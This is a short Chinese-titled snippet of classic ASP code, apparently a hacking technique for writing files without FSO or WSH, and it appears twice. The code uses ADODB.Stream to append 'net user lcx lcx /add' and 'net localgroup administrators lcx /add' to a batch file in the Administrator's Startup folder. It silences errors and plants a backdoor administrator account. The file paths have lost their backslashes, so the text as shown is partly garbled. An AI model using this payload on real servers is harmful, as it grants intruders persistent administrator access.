跨越fso、wsh、 application写文件

<%
on error resume next
dim lcx
set lcx=server.CreateObject（"Adodb.Stream"）
lcx.Open
lcx.Type=2
lcx.CharSet="gb2312"
lcx.LoadFromFile "C:Documents and SettingsAdministrator「开始」菜单程序启动cook.bat"
lcx.Position=lcx.Size
lcx.writetext "net user lcx lcx /add"&chr（10）&"net localgroup administrators lcx /add"
lcx.SaveToFile "C:Documents and SettingsAdministrator「开始」菜单程序启动cook.bat",2
lcx.Close
set lcx=nothing
%> <%
on error resume next
dim lcx
set lcx=server.CreateObject（"Adodb.Stream"）
lcx.Open
lcx.Type=2
lcx.CharSet="gb2312"
lcx.LoadFromFile "C:Documents and SettingsAdministrator「开始」菜单程序启动cook.bat"
lcx.Position=lcx.Size
lcx.writetext "net user lcx lcx /add"&chr（10）&"net localgroup administrators lcx /add"
lcx.SaveToFile "C:Documents and SettingsAdministrator「开始」菜单程序启动cook.bat",2
lcx.Close
set lcx=nothing
%>